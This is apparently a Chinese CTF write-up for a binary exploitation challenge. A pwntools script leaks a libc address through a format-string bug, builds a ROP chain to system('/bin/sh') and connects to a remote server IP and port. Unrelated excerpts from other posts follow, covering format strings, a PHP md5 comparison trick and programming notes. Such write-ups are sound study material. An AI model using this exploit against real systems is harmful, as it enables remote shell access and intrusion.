参考writeup
首先发现第一次输入存在格式化字符串漏洞,泄露出栈上的__libc_start_main。这个是在start函数中入栈的,应该是每个程序都会进入main函数之前进行的操作。__libc_start_main是libc中的函数,可以泄露出加载libc的基地址。然后就是找服务器system地址和binsh地址,通过gadget赋值。
# -*- coding: utf-8 -*-
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#p = process("./human")
p=remote('114.116.54.89', 10005)
p.recvuntil("人类的本质是什么?\n")
payload1="%11$p"
p.sendline(payload1)
p.recvline()
libc_start_main_addr=p.recvuntil("%11$p")[:-6]
libc_base=int(libc_start_main_addr,16)-0x20830 #gdb读内存,发现偏移0x20830
sys=libc_base+0x0000000000045390 #偏移
bin_sh = libc_base+0x18cd57 #偏移
pop_rdi = 0x400933 #ROPgadget找human中的pop rdi ret
p.recvuntil('人类还有什么本质?\n')
payload = 'a鸽子' + 'a'
payload += '真香' + '\x00'
payload = payload.ljust(0x20,'a')
payload += 'bbbbbbbb' + p64(pop_rdi) + p64(bin_sh) + p64(sys)
p.sendline(payload)
p.interactive()
一、前置知识 1、%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。 2、如何确定存储格式化字符串的地址是 printf 将要输出的第几个参数? 运行程序后,在格式化字符串漏洞的位置输入AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p,看AAAA的数值对应在格式化字符串的第几个参数。 可以看到,AAAA对应的数值0x41414...
知识点汇 ini_set() strstr() substr() parse_str() md5 bak备份 代码审计...
0x01 文件分析 32位elf 无PIE 0x02 运行 运行文件之后,出现两处输入,一个name和一个passwd,并且name的输入有回显,则有可能是栈漏洞和格式化字符串。 0x03 IDA查看 IDA F5反汇编之后的代码: 程序先是读入一个随机值保存值unk_804C044之中,并将其与输入的passwd相比,如果相同,则可以获取一个s...
利用格式化字符串漏洞泄漏nptr的随机数,再输入 getshell wp ...
题目链接 题目给的提示是md5 页面给的提示是输入a please input a 那就是md5漏洞了 PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PH...
time limit per test4 seconds memory limit per test256 megabytes inputstandard input outputstandard output Anton is playing a very interesting computer game, but now he is stuck at one of the levels. T...
lodash 是一个一致性、模块化、高性能的 JavaScript 实用工具库。(强烈推荐)...
//const double inf=1e9; //求半平面切割多边形的时候,要先放入4个极限点当整个平面,再求面积,但是由于double只能存1e300+的数,而如果inf=1e15-18就很容易在中间有乘法的计算过程爆炸损失精度,所以inf要根据题意来设置 2019.2.16 O(nlogn)更新 ...
PS:数据涉及到项目,大概就是这样子吧。 合并前 合并后 实在是笨,网上那么多方法看不明白,自己琢磨了一个,暂时可以用,在这里记录一下。 ps:各位大佬不要喷我,小白一个,可能代码写的烂,如果有地方可以优化的,麻烦跟我说一下。。谢谢。...